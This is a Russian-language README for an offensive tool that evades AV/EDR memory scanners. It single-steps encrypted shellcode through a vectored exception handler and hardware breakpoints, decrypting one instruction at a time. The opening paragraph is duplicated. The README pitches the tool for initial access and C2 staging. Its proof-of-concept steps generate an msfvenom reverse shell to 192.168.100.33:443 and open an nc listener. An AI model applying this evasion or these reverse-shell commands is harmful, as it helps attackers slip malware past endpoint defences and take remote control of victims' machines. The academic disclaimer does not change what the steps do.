
Метод, который можно использовать для обхода сканеров памяти AV/EDR. Его можно применять для скрытия хорошо известных и обнаруживаемых шеллкодов (например, msfvenom) путём выполнения расшифровки отдельных зашифрованных инструкций ассемблера на лету, что делает сканеры памяти бесполезными для этой конкретной страницы памяти.
Техника, которая может использоваться для обхода сканеров памяти AV/EDR. Она может применяться для скрытия хорошо известных и обнаруживаемых шеллкодов (таких как msfvenom) за счет выполнения расшифровки отдельных зашифрованных ассемблерных инструкций на лету, делая сканеры памяти бесполезными для этой конкретной страницы памяти.
Эта техника создает область памяти PAGE_EXECUTE_READWRITE, в которой будут храниться зашифрованные ассемблерные инструкции. Шеллкод будет обернут в некоторое заполнение (padding). Программа установит аппаратную точку останова (HWBP) на точку входа шеллкода.
Затем программа установит векторный обработчик исключений (VEH). Этот VEH будет действовать как отладчик, выполняя пошаговое прохождение кода, считывая регистр указателя инструкций (RIP) для каждого исключения SINGLE STEP, получаемого VEH, и расшифровывая следующие 16 байт (максимальная длина ассемблерной инструкции x64), на которые указывает RIP. VEH также повторно зашифровывает ранее расшифрованную инструкцию, гарантируя, что остальная часть шеллкода остается всегда зашифрованной, за исключением единственной выполняемой в данный момент ассемблерной инструкции. После этого выполнение продолжается с TRAP FLAG, установленным в регистре Eflags. Это гарантирует, что следующая ассемблерная инструкция также вызовет исключение точки останова, которое VEH сможет обработать.
После установки VEH выполнение главного потока будет перенаправлено на точку входа полезной нагрузки. Когда HWBP сработает в точке входа, VEH будет останавливаться на каждой выполняемой ассемблерной инструкции, выполнять расшифровку следующей ассемблерной инструкции и зашифровывать предыдущую расшифрованную инструкцию, которая сохраняется как глобальная переменная.
Таким образом, по сути одна отдельная ассемблерная инструкция расшифровывается за раз, а остальная часть полезной нагрузки остается зашифрованной.
ПРИМЕЧАНИЕ: Эта техника идеально подходит для получения первоначального доступа с использованием базового шеллкода, такого как msfvenom, или пользовательских реверс-шеллов. Она также может использоваться как первоначальная полезная нагрузка стадии 1, которая загружает остальную часть полезной нагрузки с C2-сервера.
ПРИМЕЧАНИЕ: Эта техника совместима не со всеми полезными нагрузками (например, с рефлексивными загрузчиками). Ниже приведен список текущих ограничений:
VEH будет срабатывать для КАЖДОЙ АССЕМБЛЕРНОЙ ИНСТРУКЦИИ, выполняемой в шеллкоде, скорость выполнения шеллкода будет кардинально снижена. Для каждой ассемблерной инструкции, выполняемой CPU, VEH выполнит как минимум дополнительные 300 ассемблерных инструкций для выполнения расшифровки, зашифровки и восстановления выполнения главного потока. Если данный шеллкод оптимизирован для меньшего размера в ущерб производительности (например, msfvenom), выполнение полезной нагрузки будет медленнее. Выполнение MSFVENOM может занять более 15 секунд (в зависимости от CPU). Это происходит потому, что конкретный шеллкод, используемый msfvenom, жертвует производительностью ради меньшего размера полезной нагрузки.NtCreateThread или любые его обертки в Kernelbase.dll с точкой входа внутри шеллкода, полезная нагрузка не будет работать, поскольку VEH не сработает для выполнения этого потока, так как HWBP не установлена в точке входа вновь созданного потока. (В разработке — будет реализовано далее в этом репозитории)значения/переменные, хранящиеся внутри себя (например, сырую строку "powershell.exe", на которую ссылаются через смещение в вызове WinExec WINAPI), или некоторое число, сохраненное по смещению, и шеллкод позже попытается загрузить или сослаться на него где-либо, программа не будет работать, поскольку конкретная переменная или строка будет зашифрована, и VEH не расшифровывает ее. Если шеллкод помещает такие аргументы в стек с помощью ассемблерных инструкций (push 0x4141414141414141 для помещения "AAAAAAAA" в стек для использования в вызове функции), эта техника будет работать. (В разработке — будет реализовано далее в этом репозитории)Как воспроизвести POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

Этот репозиторий предназначен для академических целей, использование этого программного обеспечения является вашей ответственностью.